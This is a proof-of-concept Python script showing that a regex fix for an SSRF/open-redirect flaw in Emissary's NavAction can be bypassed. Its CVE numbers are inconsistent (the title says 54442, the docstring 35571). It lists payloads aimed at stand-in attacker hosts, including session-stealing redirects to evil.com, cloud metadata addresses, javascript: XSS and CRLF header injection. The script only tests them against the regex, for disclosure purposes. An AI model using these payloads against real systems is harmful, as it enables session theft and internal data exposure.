Emissary CVE-2026-54442

Pattern.compile("^(https?:/)?/.*")

"""
CVE-2026-35571 - NationalSecurityAgency/emissary SSRF via NavAction

The fix in commit e2078417464b adds URL scheme validation using:
    Pattern.compile("^(https?:/)?/.*")

This allows protocol-relative URLs (//evil.com) and single-slash variants
(http:/evil.com) to bypass the validation.

Tested against: emissary@0d4dc56 (pre-fix) and patch e207841
Extracted from: src/main/java/emissary/server/mvc/NavAction.java:47
"""

import re
import sys

FIXED_PATTERN = re.compile(r"^(https?:/)?/.*")


def vulnerable_accepts(link: str) -> bool:
    """Pre-fix behaviour: no validation, everything passes."""
    return True


def fixed_accepts(link: str) -> bool:
    """Post-fix behaviour: must match VALID_LINK pattern."""
    return bool(FIXED_PATTERN.match(link))


TEST_VECTORS = [
    ("javascript: XSS payload",
     "javascript:alert(document.cookie)", True),
    ("ftp: scheme",
     "ftp://evil.com/exfil", True),
    ("data: URI",
     "data:text/html,<script>alert(1)</script>", True),

    ("Relative path",
     "/path/to/resource", False),
    ("HTTP URL",
     "http://trusted.internal:8080/api", False),
    ("HTTPS URL",
     "https://trusted.internal/api", False),

    ("Protocol-relative URL to attacker host (//evil.com)",
     "//evil.com/steal?c=SESSION", True),
    ("Protocol-relative with embedded credentials",
     "//user:pass@evil.com/path", True),
    ("Protocol-relative to cloud metadata (//169.254.169.254)",
     "//169.254.169.254/latest/meta-data/", True),
    ("Backslash trick (\\\\evil.com)",
     "\\\\evil.com/path", True),
    ("Tab in scheme (java\\tscript:...)",
     "java\tscript:alert(1)", True),
    ("Path starting with attacker-like host (/evil.com)",
     "/evil.com", False),
    ("Triple slash (///evil.com)",
     "///evil.com/etc/passwd", True),
    ("http:/ single-slash to attacker host",
     "http:/evil.com/steal", True),
    ("https:/ single-slash to attacker host",
     "https:/evil.com/steal", True),
    ("URL-encoded javascript scheme (%6a...)",
     "%6aavascript:alert(1)", True),
    ("CRLF injection in path",
     "/legit\r\nLocation: http://evil.com", True),
]


def main():
    print("=" * 72)
    print("CVE-2026-35571 -- Emissary NavAction SSRF / Open-Redirect PoC")
    print("Pattern under test: ^(https?:/)?/.*")
    print("=" * 72)
    print()

    bypasses_found = []
    results_table = []

    for desc, url, should_block in TEST_VECTORS:
        vuln_result = vulnerable_accepts(url)
        fixed_result = fixed_accepts(url)

        if should_block and fixed_result:
            status = "BYPASS"
            bypasses_found.append((desc, url))
        elif should_block and not fixed_result:
            status = "BLOCKED (good)"
        elif not should_block and fixed_result:
            status = "ALLOWED (good)"
        elif not should_block and not fixed_result:
            status = "FALSE-POS"
        else:
            status = "UNKNOWN"

        results_table.append((desc, url, vuln_result, fixed_result, status))

    for desc, url, vuln, fixed, status in results_table:
        display_url = repr(url) if len(url) > 50 else url
        print(f"[{status:>15}]  {desc}")
        print(f"{'':>17}  URL: {display_url}")
        print(f"{'':>17}  pre-fix={vuln}  post-fix={fixed}")
        print()

    print("=" * 72)
    print(f"Total vectors tested : {len(TEST_VECTORS)}")
    print(f"Bypasses found       : {len(bypasses_found)}")
    print()

    if bypasses_found:
        print("VULNERABILITY CONFIRMED -- the following vectors bypass the fix:")
        print()
        for desc, url in bypasses_found:
            print(f"  - {desc}")
            print(f"    URL: {repr(url)}")
        print()
        print("Key finding: The regex ^(https?:/)?/.* allows protocol-relative")
        print("URLs (//evil.com/...) because the optional group (https?:/) can be")
        print("absent, leaving //.* which matches //attacker.com. This enables")
        print("SSRF to arbitrary external hosts via navigation links.")
        print()
        print("Additionally, http:/evil.com and https:/evil.com match the regex")
        print("(group 1 captures 'http:/' or 'https:/') and browsers normalise")
        print("these to http://evil.com, enabling open redirect / SSRF.")
        sys.exit(0)
    else:
        print("No bypasses found -- fix appears complete.")
        sys.exit(1)


if __name__ == "__main__":
    main()

VULNERABILITY CONFIRMED
Protocol-relative URLs (//evil.com/) and single-slash variants (http:/evil.com) bypass the regex validation.